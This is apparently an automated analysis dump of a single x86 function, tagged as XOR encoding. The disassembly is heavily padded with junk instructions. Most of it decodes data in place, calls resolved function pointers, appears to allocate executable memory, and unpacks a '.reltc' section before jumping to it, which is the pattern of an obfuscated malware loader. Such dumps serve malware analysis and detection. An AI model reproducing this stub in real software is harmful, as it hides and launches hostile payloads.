Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xde3a60cf
add eax, eax
add edx, edx
inc eax
popal
add edx, 0xd694d3bf
and eax, edx
add edx, 0x29faa2fb
mov edx, 0
mov eax, esi
mov edi, 0x16db7cc6
mov ecx, 0x8f25f71
and ecx, edi
mov ebx, eax
dec ecx
mov ecx, 0x4294e42c
mov esi, ebx
not edi
or ecx, edi
add edi, 1
inc edx
add ecx, ecx
mov edi, 0x25757e48
mov edi, 0x6ff77b8f
cmp edx, 0x1004ee1
jne 0xa789cb
add edi, 0xfb802a84
or ecx, ecx
mov edx, 0xa59ddfb8
sub edx, eax
sub edx, 0xddec7261
mov edx, 0xa78796
sub ecx, 0x434dc46a
add ecx, 1
inc edi
mov eax, 0xa7898a
sub ecx, esi
not edi
mov ebx, dword [edx]
dec ecx
add esi, ecx
sub ecx, esi
and ebx, 0xff
sub edi, ecx
and edi, edi
sub ecx, esi
xor dword [eax], ebx
dec esi
or ecx, ecx
inc eax
and esi, esi
sub ecx, 0x4433eb1c
inc edx
dec esi
add edi, ecx
dec esi
cmp eax, entry0
jl 0xa78a36
dec edi
mov ecx, 0x2c3cdc48
mov edi, 0x644cfcfd
mov esi, 0x41afc04e
mov esi, 0x4839517b
and ecx, esi
or edx, esi
sub edx, 1
mov ebx, 0xa7898e
mov esi, edi
sub edi, 0x591e4cbe
sub esi, 0x3bc9d76c
mov ebx, dword [ebx]
or ecx, edx
sub edx, ecx
mov ebx, dword [ebx]
or esi, esi
add ecx, 0x5dec9565
add edx, 1
push ebx
add edx, edx
and ecx, edi
mov edi, ecx
mov ebx, 0xa7898a
not edx
add ecx, edi
mov ebx, dword [ebx]
add edi, 0xd75fce70
dec edi
and esi, edi
mov ebx, dword [ebx]
add edi, 0x39a9da83
add edi, 0xbb181a9d
push 0xa78992
not ecx
sub ecx, edx
and esi, edi
call ebx
sub edi, esi
add esi, 0xbe040429
and ecx, ecx
mov ebx, dword [esp]
add esp, 4
not esi
or esi, edi
add edx, 0xdbd2d14a
push 0xa7899f
mov esi, ecx
or ecx, edx
inc esi
push eax
sub ecx, esi
dec edi
call ebx
add edi, 1
mov edx, 0x569f02f7
inc esi
push 0x40
inc esi
add ecx, 0x970623c1
add edx, 0x5ffc0da
push 0x3000
sub edx, esi
add edx, edi
dec ecx
sub esp, 4
mov dword [esp], 0x20000574
sub edx, 0x321672db
sub esi, 0x38ec9600
or esi, edi
push 0
sub edi, esi
and edx, edi
call eax
sub edx, ecx
not edx
add eax, 0x200004e2
add esi, ecx
mov ecx, 0x9882fa1e
add edx, ecx
mov ebx, 0xc1611bb3
sub edx, 0x31cf773b
mov esi, 0x813c0220
dec ecx
mov dword [eax], ebx
add ecx, ecx
add ecx, 0x2852308a
add ecx, edx
mov ebx, dword [eax]
add edi, 0xefcd031f
sub esi, ecx
sub edi, 0x2973bd40
cmp ebx, 0xc1611bb3
je 0xa78baa
mov eax, 0
mov byte [eax], cl
mov edi, edx
sub esi, 0xe18b5d4a
inc ecx
sub ecx, 0x7679595c
not edx
mov edx, esi
mov edx, eax
add edx, 0x9a5254a2
and eax, edx
mov edi, section..reltc
mov eax, 0x40caa47a
or eax, eax
mov ebx, 0xa78795
and eax, eax
mov edx, eax
mov edx, 0x40caed0b
mov ecx, 0
dec eax
add edx, 0xe098398e
add edx, 0x85711ded
mov esi, 0xa78796
mov eax, 0x19d9f1b4
add edx, 0x595ab84f
lea esi, [esi + ecx]
sub edx, 0x4cabd91e
inc eax
and edx, eax
mov esi, dword [esi]
sub eax, 0x15481f2a
not eax
and esi, 0xff
sub edx, eax
not edx
inc ecx
mov edx, 0x58539ca5
not eax
cmp ecx, 0x1f4
jne 0xa78c38
mov ecx, 0
mov edx, 0xeb5c1f6a
sub eax, edx
and edx, edx
or edx, edx
sub edx, eax
xor dword [edi], esi
add eax, 0x163f41d1
mov edx, 0xe2fed666
add edi, 2
mov edx, 0x62783e04
inc eax
cmp edi, ebx
jl 0xa78bf3
inc eax
add edx, 0x709c97a9
add eax, 0xa97848d
mov edx, 0x138d7aa9
not eax
add edx, 0xc14d0721
mov ebx, section..reltc
add edx, 0x23de1b73
sub edx, ecx
mov edi, section..reltc
not edx
or ecx, ecx
mov ecx, 0x29419187
mov esi, 0xa78795
sub ecx, 1
mov edx, ecx
or ecx, edx
mov eax, 0
or ecx, edx
not edx
dec edx
mov al, byte [edi]
add ecx, 0xa401f0e
add ecx, ecx
mov byte [ebx], al
add edx, 0x6687a921
sub ecx, 0xc43f8bf0
sub ecx, edx
inc ebx
mov edx, 0x239f20d6
add ecx, edx
dec edx
add edi, 2
add edx, 0xdcf0b8b6
or edx, ecx
cmp edi, esi
jle 0xa78cb4
add edx, 1
sub edx, ecx
sub eax, 0x6ca4ff18
or eax, eax
push 0x8dc6a0
not eax
add edx, edx
ret